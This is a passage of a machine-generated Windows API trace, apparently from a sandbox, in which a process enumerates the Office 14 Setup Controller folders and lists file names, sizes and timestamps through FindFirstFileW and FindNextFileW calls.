ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0072.874] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0072.874] GetProcessHeap () returned 0x550000 [0072.874] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0073.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0073.373] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.390] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0073.390] GetProcessHeap () returned 0x550000 [0073.390] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0073.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.040] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.040] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.043] GetProcessHeap () returned 0x550000 [0074.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.043] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0074.044] GetProcessHeap () returned 0x550000 [0074.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0074.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.047] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.048] GetProcessHeap () returned 0x550000 [0074.048] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.048] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0074.048] GetProcessHeap () returned 0x550000 [0074.048] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.050] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.050] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0074.050] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.050] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.050] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.051] GetProcessHeap () returned 0x550000 [0074.051] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.051] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0074.051] GetProcessHeap () returned 0x550000 [0074.051] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0074.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.053] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.054] GetProcessHeap () returned 0x550000 [0074.054] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.054] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0074.054] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0074.054] GetProcessHeap () returned 0x550000 [0074.054] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0074.059] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.059] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0074.059] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0074.059] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0074.059] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0074.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0074.061] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, 